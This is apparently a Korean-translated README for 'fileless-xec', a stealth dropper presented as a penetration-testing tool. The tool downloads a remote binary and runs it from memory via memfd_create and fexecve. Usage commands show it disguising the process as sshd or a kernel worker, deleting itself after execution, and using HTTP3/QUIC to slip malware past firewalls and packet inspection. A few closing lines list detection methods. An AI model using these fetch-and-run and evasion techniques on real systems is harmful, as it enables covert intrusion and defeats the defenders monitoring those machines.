
은밀한 드로퍼: 디스크에 저장하지 않고 원격 바이너리를 실행합니다. (HTTP3 지원, ICMP 지원, 보이지 않는 추적, 크로스 플랫폼 등)

👋 Certainly useful , mainly for fun, rougly inspired by 0x00 article
침투 테스트 용도: fileless-xec는 대상 머신에서 공격자 머신에 있는 바이너리 파일을 은밀하게 실행하는 데 사용됩니다.
fileless-xec를 사용하면 원격 바이너리를 디스크에 저장하지 않고 로컬 머신에서 직접 메모리에서 실행할 수 있습니다.
fileless-xec [binary_url] (~curl | sh for binaries)fileless-xec -n /usr/sbin/sshd [binary_url]tty에서 분리: fileless-xec --setsid [...]
writeNsleep 바이너리를 로컬에서 실행하려고 합니다.
먼저 원격에서 python http 서버를 시작합니다.
로컬에서는 fileless-xec를 사용하여 바이너리 writeNsleep 실행을 위해 /usr/sbin/sshd 이름으로 가장합니다(은밀함과 재미를 위해). writeNsleep이 시작되면 fileless-xec는 자체 삭제합니다(--self-remove)
fileless-xec 자체 삭제fileless-xec 서버 모드
fileless-xecfileless-xec는 실행 후 자체 삭제됩니다원격 바이너리 파일은 memfd_create 시스템 콜을 사용하여 로컬에 저장되며, 이는 파일 시스템에 매핑되지 않은 메모리 디스크 내에 저장됩니다(즉 ls로 찾을 수 없습니다).
참고: memfd_create 시스템 콜은 macOS에 존재하지 않습니다.
그런 다음 fexecve 시스템 콜을 사용하여 실행합니다(현재 syscall golang 라이브러리에서 제공되지 않으므로 직접 구현합니다).
fexecve를 사용하면 프로그램을 실행할 수 있지만, 전체 경로 대신 파일 디스크립터를 사용하여 실행할 프로그램을 참조합니다.
-Q/http3 플래그로 활성화합니다. go run ./test/http3/light-server.go -p LISTENING PORT를 실행하여 http3를 지원하는 가벼운 웹 rootfs 서버를 설정할 수 있습니다. (이는 python3 -m http.server 의 http3 버전입니다.)test/http3/genkey.sh를 사용하여 인증서와 키를 생성합니다.
|
QUIC UDP, 즉 http3은 검색, 비디오 스트리밍 등 지연에 민감한 온라인 웹 애플리케이션을 서버에 연결하는 데 필요한 왕복 시간(RTT)을 줄여 가속화하는 차세대 인터넷 프로토콜입니다.
QUIC은 TLS와 동등한 독점 암호화를 사용하기 때문에(향후 표준화된 버전에서 변경될 예정), 애플리케이션 제어 및 가시성을 제공하는 3세대 방화벽은 QUIC 트래픽을 제어 및 모니터링하는 데 어려움을 겪습니다.
실제로 fileless-xec를 드로퍼로 사용하는 경우(테스트 목적 또는 승인 하에만), 패킷 분석에 의해 드롭될 수 있는 일부 유형의 악성코드나 다른 파일을 실행하고 싶을 것입니다. 따라서 Quic을 활성화하면 패킷 분석을 우회하고 악성코드를 GET할 수 있습니다.
또한 방화벽이 트래픽 허용/차단에만 사용되는 경우, 방화벽 규칙이 udp 프로토콜을 잊어버려 요청이 레이더에 잡히지 않을 수 있습니다.
메모리 디스크에 존재하지 않더라도 실행 중인 프로그램은 예를 들어 ps 명령을 사용하여 감지될 수 있습니다.
fileless-xec --name <fake_name> <binary_raw_url> 기본 이름은 [kworker/u:0]입니다.
fileless-xec --setsid <binary_raw_url>.
여전히 다음을 통해 감지될 수 있습니다:
$ lsof | grep memfd
또는 opensnoop (하지만 execsnoop로는 감지되지 않음)
또는 execve 시스템 콜을 감사하는 seccomp 프로필 (하지만 예를 들어 sleep 명령도 execve를 사용하므로 매우 압도적입니다)